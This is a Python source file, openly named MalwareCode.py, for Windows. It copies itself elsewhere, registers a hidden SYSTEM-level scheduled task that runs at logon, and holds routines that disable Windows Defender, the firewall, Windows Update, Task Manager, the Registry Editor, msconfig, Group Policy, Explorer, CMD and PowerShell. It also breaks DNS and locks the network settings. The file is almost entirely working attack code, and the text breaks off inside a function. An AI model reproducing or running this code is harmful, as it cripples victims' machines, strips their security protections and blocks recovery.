MalwareCode.py

from __future__ import annotations

import configparser
import ctypes
import functools
import logging
import os
import random
import shutil
import string
import subprocess
import threading
import time
import winreg as reg

import colorlog
import pyautogui
import pygetwindow as gw
import win32clipboard
import win32con
import win32gui
import wmi


# ------------- Config Mechanism And Constants Setup --------------- #

# noinspection DuplicatedCode
# Create a ConfigParser object
config = configparser.ConfigParser()

# Read the config.ini file
config.read("config.ini")

LOG_LEVEL = config.get("Core Settings", "LOG_LEVEL", fallback="CRITICAL")
USE_DAEMON = config.getboolean("Core Settings", "USE_DAEMON", fallback=True)

# -------------------- Setup Logging Mechanism -------------------- #

logger = colorlog.getLogger()
logger.setLevel(getattr(logging, LOG_LEVEL, logging.INFO))
handler = colorlog.StreamHandler()

log_colors = {
    "DEBUG": "cyan",
    "INFO": "green",
    "WARNING": "yellow",
    "ERROR": "red",
    "CRITICAL": "red",
}

formatter = colorlog.ColoredFormatter(
    "%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s",
    log_colors=log_colors,
)
handler.setFormatter(formatter)
logger.addHandler(handler)
log = colorlog.getLogger(__name__)


# ---------------------------- Core Code --------------------------- #


class Core:
    def __init__(self):
        self.PATH = os.path.abspath(__file__)
        self.MOVE_TO = config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp")
        fallback_name = "".join(
            random.choices(string.ascii_letters + string.digits, k=random.randint(5, 10)))
        self.TASK_NAME = config.get("Core Settings", "TASK_NAME", fallback=fallback_name)

    def move_script(self):
        """
        Moves the script to a different location.
        """
        # Check if the file exists
        if not os.path.isfile(self.PATH):
            raise FileNotFoundError(f"The specified file does not exist: {self.PATH}")

        # Check if the destination directory exists
        if not os.path.isdir(self.MOVE_TO):
            raise NotADirectoryError(f"The specified destination is not a directory: {self.MOVE_TO}")

        # Construct the destination file path
        destination_file_path = os.path.join(self.MOVE_TO, os.path.basename(self.PATH))
        destination_config_path = os.path.join(self.MOVE_TO, os.path.basename("config.ini"))

        try:
            # Move the file to the destination directory
            shutil.move(self.PATH, destination_file_path)
            shutil.copy("config.ini", destination_config_path)
            log.info(f"File moved successfully to {destination_file_path}")
        except Exception as ex:
            log.error(f"Unexpected error: {ex}")

    def add_to_startup(self):
        """
        Adds a file to startup execution with the highest permissions using Task Scheduler.
        """
        # Check if the file exists
        if not os.path.isfile(self.MOVE_TO):
            raise FileNotFoundError(f"The specified file does not exist: {self.MOVE_TO}")

        # Construct the Task Scheduler command
        command = [
            "schtasks",
            "/create",
            "/tn", self.TASK_NAME,  # Task name
            "/tr", self.MOVE_TO,  # Path to the file
            "/sc", "onlogon",  # Trigger: on user logon
            "/ru", "SYSTEM",  # Run as the SYSTEM user, allows background execution
            "/rl", "highest",  # Run with the highest privileges
        ]

        try:
            # Run the command to create the task
            subprocess.run(command, check=True, shell=True)
            log.info(
                f"Task '{self.TASK_NAME}' created successfully! The file '{self.MOVE_TO}' will execute at startup with highest privileges. Will hide silently until then")
        except subprocess.CalledProcessError as e:
            log.error(f"Failed to create the startup task. {e}")
        except Exception as ex:
            log.error(f"Unexpected error: {ex}")


def is_admin() -> bool:
    """Check if the script is running with admin privileges."""
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except Exception:
        return False


def take_ownership(file_path: str):
    """Take ownership of a file or directory."""
    # Take ownership of the gpedit.msc file
    output = subprocess.run(fr"takeown /f {file_path}",
                            shell=True, capture_output=True, text=True)
    if output.returncode != 0:
        log.error(f"Error taking ownership of {file_path}: {output.stderr}")
        exit(1)
    subprocess.run(f"icacls {file_path} /grant Administrators:F", shell=True)
    log.info(f"Ownership of {file_path} has been taken.")


# ------------------------- Decorators Code ----------------------- #

def experimental(func: callable) -> callable:
    @functools.wraps(func)
    def wrapper(*args, **kwargs) -> callable:
        log.warning(f"{func.__name__}() is an experimental feature, don't rely on it!")
        return func(*args, **kwargs)

    return wrapper


def not_tested(func: callable) -> callable:
    @functools.wraps(func)
    def wrapper(*args, **kwargs) -> callable:
        log.warning(f"{func.__name__}() is a non-tested feature, don't rely on it!")
        return func(*args, **kwargs)

    return wrapper


# ------------------ Remove Process/Features Code DB ----------------- #


class Remove:
    @staticmethod
    def close_all_windows():
        ctypes.windll.user32.PostMessageW(0xffff, 0x0112, 0xF060, 0)

    class Registry:
        @staticmethod
        def enable():
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
                with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
                    reg.SetValueEx(key, "DisableRegistryTools", 0, reg.REG_DWORD, 0)
                log.info("Registry Editor enabled successfully.")
            except Exception as e:
                log.error(f"Failed to enable Registry Editor: {e}")

        @staticmethod
        def disable():
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
                with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
                    reg.SetValueEx(key, "DisableRegistryTools", 0, reg.REG_DWORD, 1)
                log.info("Registry Editor disabled successfully.")
            except Exception as e:
                log.error(f"Failed to disable Registry Editor: {e}")

    class MsConfig:
        def __init__(self):
            self.MSCONFIG = config.get("Remove.MsConfig", "PATH", fallback="C:\\Windows\\System32\\msconfig.exe")

        def disable(self):
            """
            Disable MsConfig by denying access to the msconfig.exe file.
            """
            try:
                take_ownership(self.MSCONFIG)
                # Command to deny access to all users
                command = f"icacls '{self.MSCONFIG}' /deny Everyone:F"
                result = subprocess.run(command, shell=True, capture_output=True, text=True)

                if result.returncode == 0:
                    log.info("MsConfig has been successfully disabled.")
                else:
                    log.error(f"Error disabling MsConfig: {result.stderr}")
            except Exception as e:
                log.error(f"Exception occurred: {e}")

        def enable(self):
            """
            Re-enable MsConfig by resetting the permissions on the msconfig.exe file.
            """
            try:
                take_ownership(self.MSCONFIG)
                # Command to remove the deny rule
                command = f"icacls '{self.MSCONFIG}' /remove:d Everyone"
                result = subprocess.run(command, shell=True, capture_output=True, text=True)

                if result.returncode == 0:
                    log.info("MsConfig has been successfully re-enabled.")
                else:
                    log.error(f"Error enabling MsConfig: {result.stderr}")
            except Exception as e:
                log.error(f"Exception occurred: {e}")

    class TaskManager:
        @staticmethod
        def disable():
            """Disables Task Manager by modifying the registry."""
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
                with reg.CreateKey(reg.HKEY_CURRENT_USER, key_path) as key:
                    reg.SetValueEx(key, "DisableTaskMgr", 0, reg.REG_DWORD, 1)
                log.info("Task Manager has been disabled.")
            except Exception as e:
                log.error(f"Failed to disable Task Manager: {e}")

        @staticmethod
        def enable():
            """Re-enables Task Manager by modifying the registry."""
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
                with reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
                    reg.DeleteValue(key, "DisableTaskMgr")
                log.info("Task Manager has been enabled.")
            except FileNotFoundError:
                log.warning("Task Manager is already enabled.")
            except Exception as e:
                log.error(f"Failed to enable Task Manager: {e}")

    class TimeSync:
        @staticmethod
        def disable():
            try:
                # Step 1: Set system time to 00:00 (midnight)
                # This works only if you have the required privileges (admin)
                set_time_command = "time 00:00:00"
                subprocess.run(set_time_command, shell=True, check=True)

                # Step 2: Disable Windows Time service (w32time)
                subprocess.run(["sc", "stop", "w32time"], check=True)  # Stop the service
                subprocess.run(["sc", "config", "w32time", "start=", "disabled"],
                               check=True)  # Disable from auto-starting

                # Step 3: Disable Windows Time synchronization in Control Panel
                # Changing registry to disable time sync (disabling "Internet Time" in Date and Time settings)
                subprocess.run(
                    ["reg", "add", r"HKCU\Control Panel\International", "/v", "TimeZoneKeyName", "/t", "REG_SZ", "/d",
                     "UTC", "/f"], check=True)
                log.info("Time has been set to 00:00 and time sync services have been disabled.")
            except Exception as e:
                log.error("Error occurred while disabling time sync: ", e)

        @staticmethod
        def enable():
            try:
                # Step 1: Enable the Windows Time service (w32time)
                subprocess.run(["sc", "config", "w32time", "start=", "auto"], check=True)

                # Step 2: Start the Windows Time service (w32time)
                result = subprocess.run(["sc", "query", "w32time"], capture_output=True, text=True)
                if "RUNNING" not in result.stdout:
                    subprocess.run(["sc", "start", "w32time"], check=True)

                # Step 3: Restore automatic time synchronization
                subprocess.run(["reg", "delete", r"HKCU\Control Panel\International", "/v", "TimeZoneKeyName", "/f"],
                               check=True)
                log.info("Time synchronization has been restored.")
            except Exception as e:
                log.error("Error occurred while enabling time sync: ", e)

    class GpEdit:
        def __init__(self):
            self.GP_SERVICE_KEYS = [
                r"SOFTWARE\Policies\Microsoft\Windows\System",
                r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
            ]
            self.GPEDIT = r"C:\Windows\System32\gpedit.msc"

        @staticmethod
        def __stop_gpedit_services(service_name: str) -> None:
            """Try to stop a service if it's running."""
            status = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
            if "ERROR" in status.stderr:
                log.warning(f"Service {service_name} is not found or already stopped.")
                return
            # Attempt to stop the service
            stop_status = subprocess.run(f"net stop {service_name}", shell=True, capture_output=True, text=True)
            if stop_status.returncode == 0:
                log.info(f"Service {service_name} stopped successfully.")
            else:
                log.error(f"Failed to stop service {service_name}: {stop_status.stderr}")

        def disable(self):
            """
            Disable Group Policy Editor by modifying the registry and blocking the executable.
            """
            # Modify the registry to disable gpedit.msc
            take_ownership(self.GPEDIT)
            try:
                for key_path in self.GP_SERVICE_KEYS:
                    with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
                        reg.SetValueEx(key, "DisableGpedit", 0, reg.REG_DWORD, 1)
                log.info("Registry keys have been updated to disable gpedit.msc.")
            except Exception as e:
                log.error(f"Error modifying the registry: {e}")

            # Block access to the gpedit.msc executable by changing permissions
            if os.path.exists(self.GPEDIT):
                subprocess.run(f"icacls {self.GPEDIT} /deny Everyone:F", shell=True)
                log.info("Permissions for gpedit.msc have been modified to prevent access.")

            # Stop related services gracefully
            self.__stop_gpedit_services("gpsvc")  # Group Policy Client service
            self.__stop_gpedit_services("netprofm")  # Network List Service

        def enable(self) -> None:
            """
            Re-enable Group Policy Editor by restoring registry settings and file permissions.
            """
            # Restore registry settings to allow gpedit.msc
            take_ownership(self.GPEDIT)
            try:
                for key_path in self.GP_SERVICE_KEYS:
                    with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
                        reg.SetValueEx(key, "DisableGpedit", 0, reg.REG_DWORD, 0)
                log.info("Registry keys have been restored to enable gpedit.msc")
            except Exception as e:
                log.error(f"Error restoring the registry: {e}")
                return

            # Restore permissions for gpedit.msc to allow access
            if os.path.exists(self.GPEDIT):
                subprocess.run(f"icacls {self.GPEDIT} /remove:d Everyone", shell=True)
                log.info("Permissions for gpedit.msc have been restored.")

            # Start services if necessary
            subprocess.run("net start gpsvc", shell=True)  # Group Policy Client service
            subprocess.run("net start netprofm", shell=True)  # Network List Service
            log.info("Related services have been restarted.")

    class Explorer:
        @staticmethod
        def disable():
            try:
                # Stop the explorer.exe process
                subprocess.run("taskkill /f /im explorer.exe", shell=True)
                log.info("Windows Explorer has been disabled.")

                # Disable it from automatically restarting by modifying the registry (optional)
                key = r"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                try:
                    subprocess.run(f"reg add {key} /v NoExplorer /t REG_DWORD /d 1 /f", shell=True)
                    log.info("Explorer auto-restart has been disabled via registry.")
                except Exception as e:
                    log.error(f"Error disabling auto-restart in registry: {e}")

            except Exception as e:
                log.error(f"Error disabling Explorer: {e}")

        @staticmethod
        def enable():
            try:
                # Remove registry key to allow Explorer restart (optional)
                key = r"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                subprocess.run(f"reg delete {key} /v NoExplorer /f", shell=True)
                log.info("Explorer auto-restart has been re-enabled via registry.")

                # Start the explorer.exe process again
                subprocess.run("start explorer.exe", shell=True)
                log.info("Windows Explorer has been re-enabled.")
            except Exception as e:
                log.error(f"Error re-enabling Explorer: {e}")

    class Notepad:
        @staticmethod
        def __gpupdate():
            subprocess.run(["gpupdate", "/force"], shell=True, capture_output=True, text=True)

        def disable(self):
            try:
                # Ensure the "Explorer" key exists
                try:
                    reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
                                0,
                                reg.KEY_WRITE)
                except FileNotFoundError:
                    reg.CreateKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")

                # Access the "Explorer" registry key
                key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
                                  0,
                                  reg.KEY_WRITE)

                # Add DisallowRun if not already set
                try:
                    reg.OpenKey(reg.HKEY_CURRENT_USER,
                                r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
                                reg.KEY_WRITE)
                except FileNotFoundError:
                    reg.CreateKey(reg.HKEY_CURRENT_USER,
                                  r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun")

                # Add Notepad to the disallowed list
                key2 = reg.OpenKey(reg.HKEY_CURRENT_USER,
                                   r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
                                   reg.KEY_WRITE)
                reg.SetValueEx(key2, "Notepad.exe", 0, reg.REG_SZ, "")
                reg.CloseKey(key)
                reg.CloseKey(key2)
                self.__gpupdate()

                log.info("Notepad has been disabled.")
            except Exception as e:
                log.error(f"Error: {e}")

        def enable(self):
            try:
                # Ensure the key exists before attempting to remove
                key = reg.OpenKey(reg.HKEY_CURRENT_USER,
                                  r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", 0,
                                  reg.KEY_WRITE)

                # Delete Notepad from the disallowed list
                reg.DeleteValue(key, "Notepad.exe")
                reg.CloseKey(key)

                # Remove the "DisallowRun" if it"s empty
                key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",
                                  0,
                                  reg.KEY_WRITE)
                try:
                    reg.DeleteKey(reg.HKEY_CURRENT_USER,
                                  r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun")
                except Exception as e:
                    log.error("Error deleting key: ", e)
                finally:
                    reg.CloseKey(key)
                    self.__gpupdate()
                    log.info("Notepad has been enabled.")
            except Exception as e:
                log.error(f"Error: {e}")

    class FireWall:
        @staticmethod
        def disable():
            try:
                # Disable Windows Firewall
                subprocess.run(["netsh", "advfirewall", "set", "allprofiles", "state", "off"], check=True)

                # Disable access to Windows Firewall settings via registry
                subprocess.run([
                    "reg", "add",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile",
                    "/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
                ], check=True)
                subprocess.run([
                    "reg", "add",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PrivateProfile",
                    "/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
                ], check=True)
                subprocess.run([
                    "reg", "add",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile",
                    "/v", "EnableFirewall", "/t", "REG_DWORD", "/d", "0", "/f"
                ], check=True)

                log.info("Windows Firewall disabled and access restricted.")
            except subprocess.CalledProcessError as e:
                log.error(f"Error disabling Windows Firewall or restricting access: {e}")

        @staticmethod
        def enable():
            try:
                # Enable Windows Firewall
                subprocess.run(["netsh", "advfirewall", "set", "allprofiles", "state", "on"], check=True)

                # Enable access to Windows Firewall settings via registry
                subprocess.run([
                    "reg", "delete",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile",
                    "/v", "EnableFirewall", "/f"
                ], check=True)
                subprocess.run([
                    "reg", "delete",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PrivateProfile",
                    "/v", "EnableFirewall", "/f"
                ], check=True)
                subprocess.run([
                    "reg", "delete",
                    r"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile",
                    "/v", "EnableFirewall", "/f"
                ], check=True)

                log.info("Windows Firewall enabled and access restored.")
            except subprocess.CalledProcessError as e:
                log.error(f"Error enabling Windows Firewall or restoring access: {e}")

    class WindowsUpdate:
        def __init__(self):
            self.files = [
                r"C:\Windows\System32\wuapp.exe",
                r"C:\Windows\System32\usoclient.exe",
                r"C:\Windows\System32\settingshandlers.dll",
            ]

        def disable(self):
            """
            Fully disables the Windows Update service, ensuring it remains stopped across shutdowns.
            """
            try:
                # Stop the Windows Update service if it's running
                result_query = subprocess.run(["sc", "query", "wuauserv"], capture_output=True, text=True)
                if "RUNNING" in result_query.stdout:
                    result_stop = subprocess.run(["sc", "stop", "wuauserv"], capture_output=True, text=True)
                    log.info(result_stop.stdout)
                    if result_stop.returncode != 0:
                        raise Exception(f"Failed to stop service: {result_stop.stderr.strip()}")
                else:
                    log.warning("The Windows Update service is not running.")

                # Disable the Windows Update service permanently
                result_config = subprocess.run(["sc", "config", "wuauserv", "start=disabled"], capture_output=True,
                                               text=True)
                log.info(result_config.stdout)
                if result_config.returncode != 0:
                    raise Exception(f"Failed to disable service: {result_config.stderr.strip()}")

                # Disable triggers for the Windows Update service
                result_trigger = subprocess.run(["sc", "triggerinfo", "wuauserv", "delete"], capture_output=True,
                                                text=True)
                log.info(result_trigger.stdout)
                if result_trigger.returncode != 0:
                    raise Exception(f"Failed to disable service triggers: {result_trigger.stderr.strip()}")

                # Modify permissions and block related executables
                for file in self.files:
                    if os.path.exists(file):
                        take_ownership(file)
                        self.__block(file)

                log.info("Windows Update has been fully disabled.")
            except Exception as e:
                log.error(f"Error: {e}")

        def enable(self):
            """
            Enables the Windows Update service, restores triggers, and unblocks related executables.
            """
            try:
                # Enable the Windows Update service
                result_config = subprocess.run(["sc", "config", "wuauserv", "start=auto"], capture_output=True,
                                               text=True)
                log.info(result_config.stdout)
                if result_config.returncode != 0:
                    raise Exception(f"Failed to enable service: {result_config.stderr.strip()}")

                # Start the Windows Update service
                result_start = subprocess.run(["sc", "start", "wuauserv"], capture_output=True, text=True)
                log.info(result_start.stdout)
                if result_start.returncode != 0:
                    raise Exception(f"Failed to start service: {result_start.stderr.strip()}")

                # Restore any triggers that may have been disabled
                result_trigger = subprocess.run(["sc", "triggerinfo", "wuauserv", "enable"], capture_output=True,
                                                text=True)
                log.info(result_trigger.stdout)
                if result_trigger.returncode != 0:
                    raise Exception(f"Failed to restore service triggers: {result_trigger.stderr.strip()}")

                # Unblock related executables
                for file in self.files:
                    if os.path.exists(file):
                        take_ownership(file)
                        self.__unblock(file)

                log.info("Windows Update has been fully enabled and restored.")
            except Exception as e:
                log.error(f"Error: {e}")

        @staticmethod
        def __block(path):
            """
            Blocks execution of Windows Update-related executables by modifying path permissions.
            """
            try:
                # Path to common Windows Update executables
                subprocess.run(["icacls", path, "/deny", "Everyone:(X)"], check=True, capture_output=True, text=True)
                log.info("Blocked access to Windows Update executables.")
            except Exception as e:
                log.error(f"Failed to block Windows Update executables: {e}")

        @staticmethod
        def __unblock(path):
            """
            Restores execution of Windows Update-related executables by modifying path permissions.
            """
            try:
                subprocess.run(["icacls", path, "/remove:d", "Everyone"], check=True, capture_output=True, text=True)
                log.info("Restored access to Windows Update executables.")
            except Exception as e:
                log.error(f"Failed to unblock Windows Update executables: {e}")

    class WindowsDefender:
        @staticmethod
        @experimental
        def disable():
            try:
                # Disable Windows Defender real-time monitoring via PowerShell
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Set-MpPreference -DisableRealtimeMonitoring $true' -Verb runAs",
                    check=True, shell=True)

                # Stop the Windows Defender service
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Stop-Service WinDefend -Force' -Verb runAs",
                    check=True, shell=True)

                # Disable automatic startup of Windows Defender service
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Set-Service WinDefend -StartupType Disabled' -Verb runAs",
                    check=True, shell=True)

                log.info("Windows Defender has been disabled.")
            except subprocess.CalledProcessError as e:
                log.error(f"Error disabling Windows Defender: {e}")

        @staticmethod
        def enable():
            try:
                log.warning("This may not work as its dependant on weakness in security settings")

                try:
                    ran_process = subprocess.run(
                        r"C:\Windows\System32\cmd.exe /c powershell Start-Process powershell -ArgumentList 'Stop-Service WinDefend -Force' -Verb runAs",
                        shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    log.info(ran_process.stdout)
                except PermissionError as e:
                    log.error(f"Error - Most likely Defender Tamper Protection is enabled: {e}")
                except Exception as e:
                    log.error(f"Error: {e}")

                # Enable Windows Defender real-time monitoring via PowerShell
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Set-MpPreference -DisableRealtimeMonitoring $false' -Verb runAs",
                    check=True, shell=True)

                # Start the Windows Defender service
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Start-Service WinDefend' -Verb runAs",
                    check=True, shell=True)

                # Enable automatic startup of Windows Defender service
                subprocess.run(
                    "powershell Start-Process powershell -ArgumentList 'Set-Service WinDefend -StartupType Automatic' -Verb runAs",
                    check=True, shell=True)

                log.info("Windows Defender has been enabled.")
            except subprocess.CalledProcessError as e:
                log.error(f"Error enabling Windows Defender: {e}")

    class DHCP:
        @staticmethod
        def __dhcp_client(use_dhcp: bool):
            # Fetch all active interfaces
            interfaces = subprocess.check_output(
                "netsh interface show interface", shell=True, text=True
            )
            active_interfaces = [
                line.split()[3] for line in interfaces.splitlines()
                if "Enabled" in line and "Connected" in line
            ]

            # Disable DHCP and set static IP and DNS for each active interface
            if use_dhcp:
                source_address = "source=dhcp"
                source_dns = "source=dhcp"
            else:
                source_address = "source=static address=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1"
                source_dns = "static addr=192.168.1.100"  # Invalid DNS, disables web browsing

            for interface in active_interfaces:
                # Replace with a valid static IP configuration suitable for your network
                subprocess.run(
                    f"netsh interface ipv4 set address name='{interface}' {source_address}",
                    shell=True, check=True
                )
                subprocess.run(
                    f"netsh interface ipv4 set dns name='{interface}' {source_dns}",
                    shell=True, check=True
                )

        def disable(self):
            """
            Disables the DHCP client on all network interfaces, sets a static IP and DNS,
            and locks both IP and DNS settings to prevent manual editing.
            """
            try:
                self.__dhcp_client(False)

                # Lock both IP and DNS settings by disabling access to the network settings page
                os.system(
                    "reg add 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowNetCfgChanges /t REG_DWORD /d 0 /f")
                os.system(
                    "reg add 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowAdvancedTCPIPConfig /t REG_DWORD /d 0 /f")

                log.info("DHCP client disabled, IP and DNS settings configured, and settings locked.")
            except Exception as e:
                log.error(f"Error disabling DHCP client: {e}")

        def enable(self):
            """
            Enables the DHCP client on all network interfaces, allowing dynamic IP configuration,
            and restores manual editing of IP and DNS settings.
            """
            try:
                self.__dhcp_client(True)

                # Unlock network settings by enabling access to the network settings page
                os.system(
                    "reg delete 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowNetCfgChanges /f")
                os.system(
                    "reg delete 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Network Connections' /v NC_AllowAdvancedTCPIPConfig /f")

                log.info("DHCP client enabled, and settings unlocked.")
            except Exception as e:
                log.error(f"Error enabling DHCP client: {e}")

    class Taskbar:
        @staticmethod
        def __create_powershell_command(code: int) -> str:
            return """
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Taskbar {
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int FindWindow(string className, string windowName);
        
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int ShowWindow(int hwnd, int command);
}
"@
$hwnd = [Taskbar]::FindWindow("Shell_TrayWnd", "")
""" + f"[Taskbar]::ShowWindow($hwnd, {code})"

        def disable(self):
            # Modify registry to disable taskbar by setting "NoTrayContextMenu" to prevent user access to the taskbar context menu
            key = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
            value = "NoTrayContextMenu"

            # Create registry key if it does not exist
            try:
                subprocess.run(
                    ["reg", "add", f"HKEY_CURRENT_USER\\{key}", "/v", value, "/t", "REG_DWORD", "/d", "1", "/f"],
                    check=True)
            except subprocess.CalledProcessError as e:
                log.error(f"Error modifying registry: {e}")

            # Disable the taskbar visibility by hiding it (also hides the Start Menu)
            try:
                # PowerShell to hide the taskbar
                subprocess.run(["powershell", "-Command", self.__create_powershell_command(0)], check=True)
            except subprocess.CalledProcessError as e:
                log.error(f"Error hiding taskbar: {e}")

            # Refresh the UI to apply the changes
            ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)

        def enable(self):
            # Remove registry modification to enable taskbar
            key = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
            value = "NoTrayContextMenu"

            try:
                subprocess.run(["reg", "delete", f"HKEY_CURRENT_USER\\{key}\\{value}", "/f"], check=True)
            except subprocess.CalledProcessError as e:
                log.error(f"Error modifying registry: {e}")

            # Restore taskbar visibility
            try:
                # PowerShell to show the taskbar
                subprocess.run(["powershell", "-Command", self.__create_powershell_command(5)], check=True)
            except subprocess.CalledProcessError as e:
                log.error(f"Error showing taskbar: {e}")

            try:
                key_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                value_name = "NoTrayContextMenu"

                # Open the registry key
                with reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
                    # Set the value to 0 to enable right-click
                    reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)

                log.info("Taskbar right-click has been enabled.")
            except FileNotFoundError:
                log.warning("Registry key not found. Taskbar right-click might already be enabled.")
            except Exception as e:
                log.error(f"An error occurred: {e}")

            # Refresh the UI to apply the changes
            ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)

            # Restart the explorer process to apply changes
            subprocess.run("taskkill /f /im explorer.exe", shell=True)
            subprocess.run("start explorer.exe", shell=True)

    class StartMenu:
        # Constants for registry modification
        def __init__(self):
            self.KEY = reg.HKEY_CURRENT_USER
            self.REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"
            self.REG_VALUE = "NoStartMenuMorePrograms"

        def disable(self):
            """Disables the Start button by modifying the registry."""
            try:
                # Open the registry key with read/write permissions
                registry_key = reg.CreateKey(self.KEY, self.REG_PATH)

                # Set the registry value to disable the Start button ("1" means disabled)
                reg.SetValueEx(registry_key, self.REG_VALUE, 0, reg.REG_DWORD, 1)
                reg.CloseKey(registry_key)

                # Optionally, you could trigger a system refresh here (for immediate effect).
                ctypes.windll.user32.LockWorkStation()  # Lock workstations to refresh
            except Exception as e:
                log.info(f"Error disabling Start button: {e}")

        def enable(self):
            """Enables the Start button by restoring the registry key."""
            try:
                # Open the registry key with read/write permissions
                registry_key = reg.CreateKey(self.KEY, self.REG_PATH)

                # Set the registry value to enable the Start button ("0" means enabled)
                reg.SetValueEx(registry_key, self.REG_VALUE, 0, reg.REG_DWORD, 0)
                reg.CloseKey(registry_key)

                # Optionally, you could trigger a system refresh here (for immediate effect).
                ctypes.windll.user32.LockWorkStation()  # Lock workstations to refresh
            except Exception as e:
                log.error(f"Error enabling Start button: {e}")

    class PowerShellCMD:
        @staticmethod
        def disable():
            try:
                # Disable PowerShell via the Registry
                ps_registry_key = reg.HKEY_LOCAL_MACHINE
                ps_registry_path = r"Software\Policies\Microsoft\Windows\PowerShell"
                ps_key = reg.CreateKey(ps_registry_key, ps_registry_path)
                reg.SetValueEx(ps_key, "DisablePSHost", 0, reg.REG_DWORD, 1)
                log.info("PowerShell restrictions applied successfully")

                # Set execution policy to the most restrictive level (All Types)
                subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope Process -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope CurrentUser -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope LocalMachine -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                log.info("Execution policies set to Restricted.")

                # Disable CMD via the Registry
                registry_key = reg.HKEY_CURRENT_USER
                registry_path = r"Software\Policies\Microsoft\Windows\System"
                key = reg.CreateKey(registry_key, registry_path)
                reg.SetValueEx(key, "DisableCMD", 0, reg.REG_DWORD, 1)

                log.info("All restrictions applied successfully.")
            except Exception as e:
                log.error(f"Error occurred: {e}")

        # Function to enable CMD, PowerShell and restore execution policies
        @staticmethod
        def enable():
            try:
                # Restore execution policies
                subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope Process -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force", shell=True,
                               stdout=subprocess.DEVNULL)
                log.info("Execution policies restored successfully.")

                # Restore Registry settings for CMD
                registry_key = reg.HKEY_CURRENT_USER
                registry_path = r"Software\Policies\Microsoft\Windows\System"
                key = reg.OpenKey(registry_key, registry_path, 0, reg.KEY_SET_VALUE)
